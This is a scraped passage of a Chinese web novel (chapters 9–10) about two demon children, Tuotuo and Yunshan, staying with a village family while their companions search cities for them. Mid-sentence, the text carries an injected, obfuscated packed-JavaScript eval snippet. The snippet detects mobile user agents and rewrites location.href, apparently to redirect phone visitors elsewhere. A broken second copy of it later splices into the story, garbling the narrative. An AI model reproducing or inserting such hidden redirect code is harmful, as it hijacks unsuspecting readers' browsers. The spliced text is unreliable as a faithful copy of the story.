她努力学习,证明自己虽然是一个女孩,但是比大部分男孩都强。她得了很多表扬,得到了很多奖状。 爸妈、奶奶会为她骄傲,会在村里人说她成绩好时高兴。可他们还是会遗憾,遗憾家里没有男孩。如果她是个男孩,家里人应该只有高兴,不会有遗憾。 即使她再优秀,获得再多奖状,也无法弥补这个遗憾。她是个女孩,她改变不了这个事实,她永远成不了一个所谓的能传宗接代的男孩。 当她意识到这个问题后开始反思,重男轻女是别人的思想,很难改变,这是旧社会遗留的糟粕。国家都提倡男女平等,生男生女都一样。 她改变不了别人,但是改变可以从她这一代开始。她相信男女平等,她不会重男轻女。 “改变世界?”李爱蓝笑出声,“最先就要改变爸妈。” “有点难。”李爱青道。 李爱蓝说,“我想去南方看看,去看开放的城市。” “我们老师说,南方将会有大变革。” “你打算考什么大学?去南方还是北方?” “去南方。”李爱青说,“我也要去看看南方的城市。” “我以后也去南方。”李爱蓝高兴道。 海城,夜幕降临,花旗和兜明游荡在城市的街道里。 生活在城市里的蛇不多,但是每一条蛇都说没见过云善。 城外的田地倒是有很多,但是也没有好消息。 花旗站在树下仰望着天上的月亮,兜明只能看见他半张茫然的脸。 兜明心下觉得怪异,在他的印象中,花旗从来没有过这样的表情。要么面无表情,要么阴沉着脸,偶尔笑笑,或者说一些刻薄的话,讥诮别人。 兜明从没有想过花旗会茫然。花旗这样的妖怪会茫然什么? 看了很久的月亮之后,花旗长长吐出一口气,“三天了。”语气有些颓废。 兜明,“我们再继续找。” “一个城市一个城市,总能找到云善。” 花旗,“不知道云善现在怎么样。” 兜明挠挠头,花旗今天晚上好奇怪。 三天了,耳边都没有那个快乐的人类小崽欢快地喊他,“花花,花花。”这让花旗很不习惯,他很想念云善。 而三天了,他连云善在哪都不知道,花旗心里担心、急躁、挫败、无力。 不知道云善在哪,不知道有没有妖怪留在云善身边,不知道云善有没有吃饱饭,不知道云善有没有被欺负...... 花旗一言不发地转身离开,重新奔跑起来。云善再等等,花花一定尽快找到你。 “去哪?”兜明边跑边问。 “再去问。”花旗又变成了阴沉沉的样子,“海城这么大,还没搜完。” 9. 去风城 云善在自己的绿色牙刷上挤了一大坨牙膏。 “你挤的太多了。”坨坨把他的大红色牙刷伸过去抹过来一半牙膏。 云善还没来得及盖牙膏盖,看到李爱蓝拿了牙刷要刷牙,他主动把铁皮牙膏往李爱蓝身前递去,“呢。” 李爱蓝愣了一下,垂着眼看到牙膏皮上的白色小兔子,“不用你的。你这是小孩用的。” 云善听她不用,让坨坨给他拿绿牙刷,自己把牙膏盖拧上,踮脚把牙膏放到窗台上。 坨坨用牙刷刷了几下牙,皱着眉头说,“云善你慢点刷,牙刷毛太硬了。” “嗯。”云善接过他的绿色牙刷跑去水井边刷牙。他以前每天都在水井边洗漱,就认定水井边就是洗漱的地方。 李爱蓝拿了窗台上另一支牙膏,看到小兔子牙膏,她心里又有些别扭。云善干嘛要和自己主动示好? 她开始觉得坨坨和云善一点都不讨厌,他们和别的小孩不一样。不闹腾还能帮家里干活。昨天坨坨还带着云善在地里干了一下午活,晚饭也是坨坨做的。其实,他们俩还挺讨喜的。 可是她还是不想家里收养坨坨和云善。她希望坨坨说的花旗能快点找过来。 云善和坨坨洗完脸,跑进屋里找明东霞。 “霜能不能给我们擦擦?”坨坨问站在镜子前擦雪花膏的明东霞。 “什么霜?”明东霞问。 “就这个。”坨坨指指有粉色塑料盖子的小瓶子。 “雪花膏啊。”明东霞笑笑,挖了点雪花膏在坨坨脑门上点了一下,左边脸上点一下,右边脸上点一下,坨坨自己用手搓搓脸,把雪花膏抹匀。 云善很自觉地把手指头伸进塑料瓶里挖了一些雪花膏放在手上,搓了搓抹到他的小胖脸上。 抹完了他闻闻手,“香~” 明东霞凑到云善身边闻了一下,“嗯,真香。” 云善很高兴,哈哈笑起来。 李爱蓝把擦完脸的毛巾甩在晾衣绳上,对旁边的李爱青说,“妈还挺喜欢他们的。” 李爱青听着屋里的笑声,又看向李爱蓝,“他俩不挺好的么?” “不比李爱聪好?” “什么啊?”李爱聪拿着饼子站在锅屋门口叫唤起来,“二姐你说我小话!” “说你怎么了?”李爱蓝瞪向他,“你昨天翻我抽屉我还没打你。”昨天下午,坨坨他们先回来。李爱聪就跑来翻她抽屉了,把抽屉翻得乱七八糟。 说着,她就往李爱聪那边去。 李爱聪吓得往李爷爷身边跑,“爷,三姐要打我。” 李爷爷继续做着他的事,装作没听见。 李爱蓝追着李爱聪在院子里闹了一通,拽着李爱聪后背的衣服打了他两巴掌后,马奶奶才制止,“行了,赶紧吃饭,一会儿赶集去。” “赶集不带李爱蓝!”李爱聪喊道。 李爱蓝扬起巴掌,李爱聪立马往马奶奶身后躲。 今早吃的昨天烙的饼子、稀饭和咸菜。坨坨一大早要做饭,马奶奶不让他做,她从昨晚到现在一直念叨坨坨昨晚炒了六个鸡蛋。一想到这几天吃的鸡蛋她就心疼。 坨坨给云善撕饼子夹咸菜吃。今天的早饭对他俩来说过于素了。 坨坨说,“篮子里不是还有鸡蛋吗?” “那还剩几个?”马奶奶心疼道,“攒半个月鸡蛋两天就吃完了。” 其他人都没说话。坨坨昨晚炒的菜挺好吃的。 “鸡蛋得攒着卖钱。”马奶奶又唠叨着,“今天才能卖几个鸡蛋?” 坨坨没说话,决定今天出去看看能不能掏点鸟蛋回来。 吃完早饭收拾好,马奶奶挎上装鸡蛋的篮子,一家人锁上门,高高兴兴地去赶集。 赶集的路就是那条往镇子上的路。坨坨听李爱聪说,集市就在镇子边上。 才早晨,路上就热闹起来了。今天路上的行人很多,都是往镇子上走的,一群人聚在一起说话。少数人骑自行车,大部分人都是腿走。 一个穿着绿色裤子、白背心的青年骑着一辆大三轮车,后面拖着个头发花白的老太太。 老太太笑眯眯地,张开的嘴里上上下下只剩两颗牙。 “爱军,带你奶赶集啊?”李大志喊前头的青年。 李爱军停下蹬车,转回身笑着说,“带她去集上热闹热闹。” “大志,这两个是谁家孩子?”没牙老太太问。 “暂时住我家的。”李大志笑着问,“三婶,上街买啥?” “买肉吃。”老太太笑呵呵地回。 到了镇子边,坨坨往人多的地方一瞧,那地方真是水泄不通,到处都是人挤人,男女老少顺着人流走。 辫子突然被打了一下,坨坨先回头,云善捂着辫子也回头。 李爱波笑嘻嘻地凑过来,“来赶集呢。” “跟着二哥,别走丢了。” “别打我辫子。”坨坨不满道。 李爱波嬉皮笑脸地又在坨坨辫子上弹了下,“就打。” “李爱波你烦人。”坨坨使劲推了李爱波一把。 李爱波嘻嘻笑,“你那点小劲推不动我。” “我不跟你走。”坨坨看到李爱诚走过来了,他牵着云善往李爱诚旁边跑,“我跟大哥走。” 李爱波却又凑过来,“那二哥跟你一起走。” 坨坨紧紧牵着云善,牢牢地跟在李爱诚后面进了集市。 李爱波走在后面,护着坨坨和云善。 明东霞喊一声,“爱诚,看好他俩。” “二婶放心。”李爱诚道。 他们顺着路往前走,不管走到什么摊子前都看看。 路过猪肉摊,李爱波又怂恿坨坨买肉。 “马奶奶早就说了今天要买肉。”坨坨算好了,今天马奶奶买肉,他就不用买肉。 “我奶啥时候说买的?”李爱波问。 坨坨,“前天。” “昨天刚吃过肉,她今天肯定不会买。”李爱波说。 坨坨仰着脸,怀疑地看向他。 “你不信你问我大哥。”李爱波说,“我奶肯定不买。” “大哥。”坨坨看向李爱诚。 “你剩几块钱?”李爱诚低头问他。 “四块四分。”坨坨说,“昨天还买了牙膏和牙刷。” 李爱诚笑了一下,“今天我买肉,你上我家吃。” 坨坨高兴道,“行。” “多买两斤呗。”李爱波说。 李爱诚没理会他,从兜里摸出钱买了一斤肉。 集市上的猪肉也是一块二一斤,不过不用肉票。 前面传来一股油香味。云善闻着味了,拉着坨坨要去前面看。这街上人多,他也忙得很,忙着转着脑袋到处看人。 李爱波踮脚往前望了望,告诉云善,“前头是炸麻花的。” “麻花多少钱一根?”坨坨问。 “五分钱。”李爱波问他,“你要买?” 坨坨点头。 李爱波护着他俩挤到前面。 这麻花可不小,得有云善小臂那么长,个头也粗。 云善闻着香,开口要,“坨坨,吃。” “买。”坨坨大声喊,“要两根麻花。” “四根。”李爱波说,“大哥、二哥也吃。” 坨坨转身说,“第二根就是给大哥和你的。” “你不是还有四块钱吗?”李爱波说,“别小气。” “四块钱要用来买肉,最多只能买三斤肉了。”坨坨很惆怅。 他掏出一角纸币付了钱,拿回两根麻花。李爱波伸手来拿,坨坨不给他,往后递给了李爱诚。 另一根麻花,他掰成两半,自己和云善一人吃一半。 云善抓着半根麻花,继续转头到处看人。 李爱波还是走在他们身后,一起往前逛去。 坨坨歪着脑袋啃着麻花瞧着街边的小摊。小摊上的日用品很多,昨天在商店看到的东西在摊子上基本都能看见。 “李爱蓝,看什么呢?”李爱波突然出声。 坨坨踮脚往前看,看到李爱蓝和李爱青两人站在一处小摊边。 云善拉着坨坨猫着腰,绕过李爱诚,从人家支起来的摊子下面钻过去。 李爱波说,“你们买头花啊。” “看看。”李爱蓝道。 头花是一大团大红色的纱,边上还有金颜色的东西点缀,云善瞧上了,抓了一个在手里。 坨坨也被吸引了。头花是大红颜色的,他的最爱。 “多少钱一个?”坨坨问摊主。 “三毛。”摊主回。 坨坨抓着大红头花,心里开始算账。三斤猪肉是三块六,他现在有三块九毛四分钱。要是买一个三毛的头花,刚好剩下三块六毛四毛,就是三顿猪肉。 “坨坨,看。”云善已经自己把大红色头花套在自己小手脖子上,抬起手给云善看。 “你也想要?”坨坨问他。 云善,“嗯。” 要是买两个头花,那就是六毛,不够三斤猪肉。如果只买两斤猪肉,是两块四。三块九毛四分钱减去两块四,还剩一块五毛四分。也就说,他们可以花一块五毛四分钱。 今天不买肉,买头花吧。反正今天已经有肉吃了,明天他下河捉鱼给云善吃。 坨坨很快做出决定,要买两个头花。他转头问李爱青,“你们买不买?买多了我一起讲价。” “你们小男孩买这个干什么?”李爱波戳戳云善脑袋上的辫子,惊讶又好笑道,“你们还要戴头花?” 云善一手带着头花,一手拿着麻花转头,板着小脸对李爱波说,“不给摸辫子!” “就摸。”李爱波又摸了一把,非要去撩拨云善。 云善握起拳头往李爱波大腿上捶。 “哦。”李爱波叫了一声,往后躲,踩到后面人脚上,又赶忙转身道歉。 云善对着他屁股使劲捶了几下。 李爱波转过身,抓住他的小手,“我又没摸你这么多下。行了,行了,别打了。” “不要欺负云善。”坨坨不让,推李爱波胳膊,不让他抓云善手。 “你非得惹云善干什么?”李爱诚也推了李爱波一下。 “行行行,我错了,我道歉。”李爱波松开云善的手,看着他说,“不许再打我了。” “不许摸我辫子。”云善也说出了自己的要求。 “行行行。”李爱波点头。 云善这才转过身去,继续去看摊子上一团团的头花。 “你们买不买?”坨坨又问李爱青。 李爱青还没回答,摊主拿起旁边穿着红色珠子的头绳说,“买一个呗。你这岁数的小姑娘扎这个多好看。” “这个多少钱?”坨坨问。 “这个便宜,一毛五。”摊主道。 “这个也好看。”坨坨又问李爱青,“你们买不买?” 李爱青摇摇头,“不买。” “就买两个头花五毛钱行不行?”坨坨开始讲价。 “哪能五毛?”摊主表情夸张道,“你这上哪也买不来这货。我们已经比供销社里便宜了。” “五毛五分钱。”坨坨道。 “你把这两个带着,一共饶你五分钱。”摊主拿出两个带着红珠子的头绳对坨坨讲,“你要买得少,我还亏了呢。” 坨坨又看向李爱青和李爱蓝,“要不要?” “现在小丫头都买这种。”摊主说,“这看这样的扎头上多好看。带几个红珠子多喜人。” 李爱蓝和李爱青不应声。李爱波说,“她俩肯定不买。学生哪有什么钱。” 坨坨心想,原来是这样。他抬头看看李爱青,又看看李爱蓝。反正也不够买三斤猪肉了,那就再花三毛吧。他知道没零花钱的很可怜,就像他一样,花旗很少给他钱。 坨坨对摊主说,“一共八毛二呗?” “卖不了。”摊主说,“说好的八毛五。” “八毛三。”坨坨说,“你卖我们就买。不卖,我去前头看看。前面肯定还有卖的。” 摊主低头看了看坨坨,点头说,“行行行。这么小点小孩也讲价了。嘴巴倒是厉害。” “不用。”李爱青说,“我们有发绳。” 李爱蓝也说,“我俩真的有。” “好看,你们拿着呗。”坨坨把两根发绳分别塞到李爱蓝和李爱青手里,高兴地说,“带红珠子的多好看啊。” 他掏了兜,给了摊主八毛四分钱。摊主给他找了一张一分钱的票子。 李爱蓝脸有些红,咬了咬嘴唇,小声说,“谢谢。” 坨坨没听见,他忙着把红色的头花扎到自己的辫子上,美滋滋地问云善,“好不好看?” 云善咧着小嘴点点头,“好看!” 李爱蓝刚刚还不好意思,看到坨坨得意的样子,忍不住噗嗤笑出来。 “好看个屁。”李爱波说。 “你懂什么?”坨坨斜着冲他翻了个白眼。 “你懂?你不是小男孩吗?怎么和小丫头似的。”李爱波又要去扯他的辫子,被坨坨打开,“我就喜欢大红的。” 他转头问云善,“你扎不扎头上?” “扎。”云善伸出手让坨坨拿下他的头花。扎上头花后,他高高兴兴地晃晃脑袋。 坨坨夸他,“云善,你真好看。” “坨坨,你好看。”云善笑眯眯道。 李爱诚摸摸云善的圆脑袋,觉得这两个小孩真好玩,“再往前逛逛。” 李爱青和李爱蓝跟着他们一起走。 一路走走逛逛,花了两个小时逛完了集市。街上有卖小孩衣服的,也有好看的,但是坨坨没钱给云善买。想着等花旗他们来了再买。 他又花了一毛钱,买了几颗糖,大家一人分了一颗。 逛完了集市,坨坨他们就回了李家村。 李爱聪跟着马奶奶一起,回来得比他们早。他有点不高兴,告诉坨坨,“我奶今天不买肉。” 还真让李爱波说准了。坨坨说,“大哥买了。” “那我们中午去大伯家吃饭。”李爱聪顿时高兴起来。 云善从裤兜里掏了一颗糖给他,李爱聪更高兴了,“你们还买糖了。” “我好看啊?”云善堵在李爱聪面前问。 李爱聪把他上下打量一遍,“你头上扎大红花了。” “我也有。”坨坨说。 “不好看。”李爱聪说,“男孩哪有扎小辫还戴花的。” “男孩怎么不能扎辫子了。”坨坨说,“这是发型,你不懂。” “我们村里就没有小男孩扎小辫的。”李爱聪跟着一起走进院子里。 明东霞站在堂屋门口喊,“爱蓝,你把饭做了。爱青跟我一起下地去。” 李爱青回屋换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15273978|166656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一身衣裳,拿上镰刀跟着明东霞下地割麦子。 李爱蓝进锅屋做饭。 李爷爷在院子里锯木板。 坨坨问他,“做什么?” “再做张床给你们睡觉。”李爷爷说。 床做得十分简单,两条一样高的木凳摆在两边,上面搭了几块木板。这就算是一张床了。 坨坨跟在后面问,“会不会掉下去?” “这木板结实,不会坏。到时候贴着墙放。”李爷爷说。 “这墙掉沙灰。”坨坨手在墙上抹一下,一层沙灰簌簌往下掉。 “贴点纸就行。”李爷爷说着出了门,很快就拿了些报纸回来,糊在了墙上。 中午,坨坨、云善和李爱聪跑去了李爱诚家吃肉。 风城里,汪渡若妈妈吃完饭后和姐姐出门闲逛。汪渡若在他表哥房间,看他表哥的衣橱。 “你有□□镜了?”汪渡若说,“你还挺时髦。” 他表哥换上喇叭裤,花衬衫,得意地问,“怎么样,这身怎么样?” “电影里的男主角好多这样打扮的。” 汪渡若笑起来,“时髦。” “下午带你看电影去。”他表哥说。 两人正准备出门,外面传来喊叫他表哥的声音。 他表哥出门,很快手里拿了几张纸回来,“下午没法请你看电影了,得晚上。” “突然让我改稿子。” “没事。”汪渡若说,“你改你的,我自己出去逛。” “我这次出来还有事呢。” “什么事?”他表哥好奇地问。 汪渡若打开行李包,拿出了那沓寻人启事,“别人托我在风城贴些寻人启事。一会儿我逛逛,正好把这贴了。” 汪渡若三言两语地说了西觉和小丛的事。他表哥坐在书桌前道,“那你去吧。别走太远,小心迷路。” “我这么大的人,怎么会迷路?”汪渡若笑着出了门。 他瞧着街边的电线杆上有人贴寻人启事,就也贴了一张出去。一路上边逛边贴。 宋朗闲着没事在街上在转,看到有人往电线杆上贴东西。他留意着,走过去看。一张寻人启事上写着:寻找花旗、兜明、坨坨和云善...... 没看完下面的话,宋朗赶紧往前追,“哎,哎,贴寻人启事那个,你等等。” 听到后面喊了好几声,汪渡若才反应过来这是叫他。他转身问,“怎么了?” “我知道你贴的寻人启事上的两个人。你跟我走。”宋朗拉着汪渡若就要走。 “你等等。”汪渡若说,“你认识谁?” “花旗和兜明。”宋朗说。 汪渡若惊喜道,“他俩真在这?” “没。”宋朗说,“前天离开去海城了。” “你跟我走。我带你找我老大,他和花旗、兜明熟。” 汪渡若被宋朗带去了郊区的一处红砖院子。 宋朗刚到门口就大声喊,“然哥,找到了。” “找到什么了?”霍言坐在院子里的葡萄架下捧着本书问。 宋朗指着汪渡若说,“他知道西觉和小丛在哪。” “真的?”霍言站起身,问汪渡若,“西觉和小丛在哪?有云善吗?” “没有云善。”汪渡若看到穿着一身白色裙子的霍言有些脸红,“就西觉和小丛,在我家贴瓷砖。” “贴瓷砖?”霍言眨眨眼。 “啊。”汪渡若脸更红了,“贴,贴瓷砖。” “你家在哪呢?”霍言又问。 “不在这,在白城。”汪渡若说,“我来走亲戚。西觉和小丛托我贴寻人启事。” 他说着把手里的寻人启事拿给霍言看。 霍言接过来,看到上面除了四个名字就是对云善外貌的简单描述,和花旗说的一样,头顶扎着个小辫。她惊喜,“就是这个。” 宋朗进屋,把事情和霍然说了。 霍然把汪渡若又带去了他们在城里办公的地方。说是办公的地方,也就是霍然那些个不想回家的兄弟们的落脚点。 汪渡若用霍然他们的电话往汪老师办公室打。 “喂,爸。” “渡若,你们到风城了?”汪老师问。 “到了。”汪渡若高兴道,“不止到了,我还找了西觉和小丛要找的人。有两个人就在风城。” “那太好了。”汪老师声音里透着高兴,“一会儿我就去告诉他们。” “快把他们的地址告诉我。” 霍然报了他家的地址。 汪老师挂了电话,心里替西觉和小丛高兴。等到下班时间,他骑着自行车去了小楼。 西觉和小丛昨天就已经把楼上房间的瓷砖贴好了,现在正在贴楼下厨房里的瓷砖。 “西觉,有个好消息。”汪老师快步走到厨房门口。 “什么消息?”西觉问。 “找到人了。” 西觉腾地站起来,快速问,“找到云善了?” “那倒不是。”汪老师说,“渡若在风城贴寻人启事时遇到了认识花旗和兜明的人。他们给留了地址。” 汪老师从公文包里把记着霍然家地址的纸条拿出来。 小丛很高兴,“太好了。” 他又说,“云善和坨坨在一起,没和兜明在一起。” “没和兜明在一起好。”西觉道。心里又有些急,那云善在哪呢? “我们现在就买去风城的火车票,去找花旗和兜明。”小丛说。 “不行啊。你们现在走了,我这地方怎么办?”汪老师说,“这还有两个屋没贴呢。你们帮我贴完再走。” “花旗和兜明不在风城,他俩前天去了海城。说是会打电话回去。你们早早去也见不着人。” 西觉想了想说,“这些活明天下午就能干好。” “这么快?”汪老师说,“你们可得好好干。不能给我马虎。” “不马虎。”西觉说,“今天干到天黑,明天天亮起来,下午一定能干好。” 汪老师点点头,“明天我过来。” 汪老师在屋里转了一圈,很是满意地离开了。 小丛和西觉两人一直干到天黑看不见,这才歇下。第二天天一亮,两妖立马爬起来继续干活。 等汪老师下午过来时,西觉和小丛已经把活干完了,还把屋里也打扫了一遍。 汪老师一来就看到了屋里干干净净的,心里十分满意。他把今天加上昨天的工资结算给了西觉。 西觉和小丛揣上钱正要出门,被汪老师叫住了,“你们不知道火车站在哪吧?我送你们去。” 到了火车站,汪老师跟着他们一起进站,从包里掏出了一张纸给售票员,“要两张硬座。” 售票员看了下介绍信,道,“四十元。” 西觉把钱递给售票员。售票员给了他两张到风城的火车票。 往站里走时,汪老师道,“买车票得要介绍信。知道你们没有,昨天我都找单位的人帮忙开好了。” 汪老师把他们一直送上车。 “谢谢。”西觉坐在位置上冲着窗外的汪老师真心感谢。 “不客气。”汪老师笑着说,“你们干活仔细,以后我们住得也舒心。要不是你们,我还不知道去哪找人贴瓷砖。” 火车慢慢启动,汪老师冲着车上挥挥手,“再见。祝你们早日找到云善和坨坨。” 10. 花旗打电话 西觉和小丛坐在绿皮火车上看着窗外飞快掠过的青山绿水时,坨坨、云善还有李爱聪一人提着一条鱼在村子里叫卖。 之前去过一趟镇上捡破烂,发现啥也没有,坨坨靠着捡破烂挣钱的想法破灭。中午睡觉时,他又想了个主意,捉鱼卖。 今天好些人家都去过镇上赶集买过肉,因此,坨坨捉的鱼在村里并不好卖。 “咋没人买?”李爱聪十分纳闷。 坨坨也觉得奇怪。三人提着鱼,在村子里乱转。 今早赶集时看到的那个没牙老太太坐在别人家墙后阴凉的地方,手里打着蒲扇。瞧见坨坨和云善,她乐呵呵地笑,“小子头上戴花呢。” “你买鱼不?”坨坨拎着鱼跑过去。 云善拖着鱼也跟着跑过去。 还有个老太太也在墙下乘凉,看到鱼就问,“哪来的?” “自己捉的。”坨坨拍拍鱼,鱼尾巴翘了一下,“还活着呢。” “我手里这条一块钱。” “你这小娃子上哪能捉鱼?”老太太根本不信坨坨的话,她伸手掂了掂,“一斤多,不到两斤。” “八毛我就买。” “八毛就八毛。”坨坨很爽快。只要有人买,给钱就卖。 老太太高兴地站起身,“你等着,我这就回家拿钱去。” 坨坨又转身问没牙的老太太,“你买不买?” “我不买。”老太太说,“中午刚吃过肉。不吃鱼了。” 坨坨这才想明白为啥鱼不好卖。李家村的人不富裕,不是天天吃肉。就像马奶奶那样,今天吃了肉,就要再等几天才会买肉吃。 “太太,谁家没买肉?”李爱聪问。 没牙老太太笑道,“那谁晓得。” 云善坐在了刚刚离开的老太太的板凳上,把手里的鱼丢在地上。那鱼身上滚了一圈土。 没牙老太太伸出干枯的手摸摸云善的圆脑袋,云善睁着黑白分明的大眼睛看她。 “小胖子长得好。” “小胖子是谁呐?”云善天真地问。 没牙老太太瘦得只剩一层黄皮裹着骨头的手指点在云善白白的脑门上,笑着说,“那不就你啊。” “我叫云善。”云善认真地道。 没牙老太太又笑,像是遇到什么高兴事似的。云善盯着她看,觉得她很奇怪,“笑什么呐?” 没牙老太太只是笑,又爱怜地摸了摸他的脑袋。 买鱼的老太太拿了八毛钱过来换了一条一斤多的鱼,美滋滋地拎回了家。 坨坨他们又继续在村子里叫卖。只要讲价讲得不是太离谱,坨坨就五毛、六毛地把鱼卖了。卖出去三条鱼,今天一共挣回来一块九。 坨坨看着手里一把钱,乐得直笑。一斤猪肉不就来了么,还多了七毛,能买点其他东西。 除了卖了的鱼,坨坨另外还捉了三条放在李大志家的铁皮盆里。一条准备提去李爱诚家,两条鱼留下来自己吃。 李爱聪跟着在旁边,十分羡慕坨坨,“挣钱也太快了。” “你可不能下河。”坨坨立马说,“河里危险。” “说危险,你咋总下去?”李爱聪问。 “我下去是因为我要抓鱼,我会游泳。”坨坨说,“小孩别下河。” “云善今天还下河了。”李爱聪说。 云善听到了后说,“我会游泳。” “他就下去玩一会儿。”坨坨叮嘱李爱聪,“你不会游泳,你可千万别下水。” “知道了。”李爱聪撇嘴。 他们回去后,坨坨就忙着做饭了。云善搬着小板凳,坐在锅屋门口,翻看着坨坨从李爱青那借来的小学课本。 课本上有图案,有课文,云善也认识字,坐在门口看得津津有味。 李爱聪坐在旁边,屁股上像是长了针,左挪右蹭地,“云善,你看得懂啊。” “嗯。”云善指着书上的诗念给李爱聪听,“鹅鹅鹅,曲项向天歌,白毛浮绿水,红掌拨清波。” “你识字啊?!”李爱聪像是发现什么大不了的事,“你四岁你怎么识字?” “我学的啊。”云善说。 “你上学了?”李爱聪惊讶地问,“你四岁就上学了?” 云善点点头,“大家都上学。”小妖怪们都上学识字。 坨坨在锅屋里听到话,很自豪地说,“云善认识好多字。” “云善每天都要学习。” “我没看见他学。”李爱聪说。 “现在没东西学。”坨坨不知道云善的学习进度,这个事一直都是小丛管的。现在他也教不了云善什么。 李爱聪问云善,“山里有老虎吗?” “有。”云善回。 “吃人吗?” 云善摇摇头。身为云灵山里唯一一只老虎,嘟嘟不吃人。 “你们天天在山上干嘛?”李爱聪问。 “玩啊。”云善开始和李爱聪说山里的事,说铁蛋和钢蛋,说小纸。 说着说着,他跑回屋里问,“铁蛋、钢蛋、小纸呐?” “留在山里。”坨坨说,“咱们出远门,没来得及带他们。” 云善站在那想了好一会儿才出去继续和李爱聪说话。 说起狮子,李爱聪还懂,但是说到袋鼠,李爱聪就不懂了,“袋鼠是不是老鼠?” “不是。”云善说,“袋鼠和老鼠长得不一样。” “钢蛋这么大。”云善比划着。 “那么大的鼠!”李爱聪想象不出来,“那不得吃人?” “不吃人。”云善说,“钢蛋吃饭,吃草,不吃人。” “一顿得吃多少?”李爱聪问,“是不是比猪还大?” 坨坨在屋里笑,“钢蛋比猪能吃。”钢蛋的嘴巴一天里少说得忙半天。 “钢蛋爱吃东西。”云善接着道。 两个小孩说山里的事,坨坨忙着炒菜,没听清他们在外面说什么。等他炒完菜了,就听李爱聪说也想天天吃肉。 “花旗他们来,我们就能天天吃肉。”坨坨把辣椒炒青菜盛出锅。心想着,等明天再去掏鸟蛋吧。 马奶奶早上把鸡蛋都拿出去卖了,现在李大志家一颗鸡蛋也没有,只能炒素菜。 除了这个素菜,还有腌韭菜。就是韭菜洗干净了倒些盐,拌上辣椒生腌。腌得时间长,就着馒头吃也挺有滋味。 “真希望他们来。”李爱聪发自真心地期盼。盼望着花旗他们来了,他也能跟着天天吃肉。 坨坨把两条鱼丢进锅里炸。李爱青皱着眉头匆匆从外面快步走进院里。 “大姐,今天回来这么早。”李爱聪问。 “有点事。”李爱青把镰刀放回屋里,赶紧洗了手回屋里关上门。 李爱聪站在门外喊,“大姐你关门干啥?”他推门还推不动,门从里面拴起来了。 李爱青刷地一下拉上了门上遮挡玻璃的小帘子,“你上一边玩去。” “你咋把帘子也拉上了。”李爱聪问。 李爱青匆匆地翻出书袋里的月事带,夹上红色的卫生纸。然后把衣服里外都换了一遍,抱着脏衣服丢到水盆里。 “我烧点水喝。”李爱青走进厨房。 “屋里有水。”李爱聪说,“我们回来的时候刚喝过,还剩不少。” 李爱青没搭理他。 灶台上两口锅,一锅里煮着稀饭,另一锅用来炒菜。坨坨盛出鱼。 李爱青惊讶道,“你们又去镇上了?” “鱼不是买的。”李爱聪说,“坨坨从河里抓的。” “你咋下河了?”李爱青从外面舀了水倒进锅里刷锅。 坨坨没应声,这些人类总唠叨他。 李爱青边刷锅边说,“你这么小,不能下河。” 云善摸到窗台边的火柴盒,站在门边上推开火柴盒。 李爱聪也是个不懂事的,走过去问云善要,“给我两根。” 云善捏出两根火柴给他。自己又拿了一根出来,学着见过别人用火柴的样子擦火柴。 坨坨端了菜回来,就见云善拿着烧着火的火柴棒。 “云善。”坨坨站在旁边说,“不能玩火。” 火顺着火柴棒往下烧,云善觉得烫手,丢掉了火柴。李爱聪赶紧踩住地上燃烧的火柴棒,使劲踩了两脚,看着火柴棒熄灭。 坨坨把火柴盒从云善手里拿过来放回窗台上。“这和火折子差不多。” “点火能烧东西。你别玩。” 云善哦了一声。坨坨知道他懂火折子是什么,就没再多说。云善知道火折子不能乱玩。 李爱青舀了水到锅里,坐在凳子上捂着肚子烧火。 坨坨看她好像不舒服,“你怎么了?” “没事。”李爱青说,“肚子有点疼。” “肚子疼你怎么不去上厕所?”坨坨问。 “不是那种疼。”李爱青捂着肚子露出一副难受的样子。 “那什么疼?”李爱聪问,“你肚子里长虫了?” “没。”李爱青说,“喝点热水就行。” 坨坨听懂了,“你来月经了?” 李爱青震惊地看向他,“你还知道这个。” 坨坨点头,“肚子疼冲红糖水喝。” “哪有红糖啊。”李爱青惊奇道,“你知道的真多。” 李爱青肚子疼,不想动,等水烧好了,她往暖水瓶里灌一些,然后打了一茶缸热水回屋躺着。 听到李大志他们回来的动静,坨坨估摸着李爱诚他们也回来了。他提上剩下的那条鱼,带着云善跑去送给李爱诚。 李爱诚、李爱波还有李久福都不在,只有赵秀英在锅屋里做饭。 坨坨提着鱼跑到锅屋门口问,“大哥呢?” “他俩去后面河里洗澡了。”赵秀英问他,“哪来的鱼?” “给你们的。”坨坨放下鱼,带着云善往后面跑。 跑到李爱诚家屋后,看到几只大白鹅站在那。 一只大鹅张着翅膀,伸着头追过来。坨坨一脚踢过去,大鹅不躲,被坨坨踹了一脚,硬是在坨坨胳膊上拧了一下。 “哎呀——”坨坨捂着胳膊,“疼啊。” 云善捡了根树枝从后面冲过来,劈头盖脸地对着大白鹅一顿打。他会用剑,用了剑招对付大白鹅,“坏蛋!坏蛋!” 他出的每一招,大鹅都挡不住,只剩下“嘎嘎嘎”乱叫,扭头跑了。云善拿着小棍跟在后面撵,一路把鹅撵回了赵秀英家。 赵秀英正在院子里杀鱼,听到鹅叫,她转过身一看,就见自己家大鹅摇摆着跑回来,云善举着根小树枝跟在后面追。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李大志家众人已经在桌边坐好,就等他们了。 云善坐上板凳,拿了小勺子吃饭。 马奶奶一口饭没吃,便开始了念叨,“不是不让你下河吗?” “出了事情咋办?” “你家里人要找来,咋交代?” “非得要吃那鱼肉?” 坨坨一声没吭地吃着饭,看到云善碗里的鱼肉吃没了,就再给他夹一块鱼肚子上的肉。 云善一边吃饭,一边看着马奶奶,好奇地听她唠叨事情。 “啊——”李爱聪突然放下碗,捂住了喉咙。 “咋啦?”马奶奶停下唠叨,紧张地看向李爱聪。 “鱼刺卡了。”李爱聪难受地喊。 “等等,给你弄点醋来。”马奶奶去锅屋倒了小半碗醋让李爱聪喝。 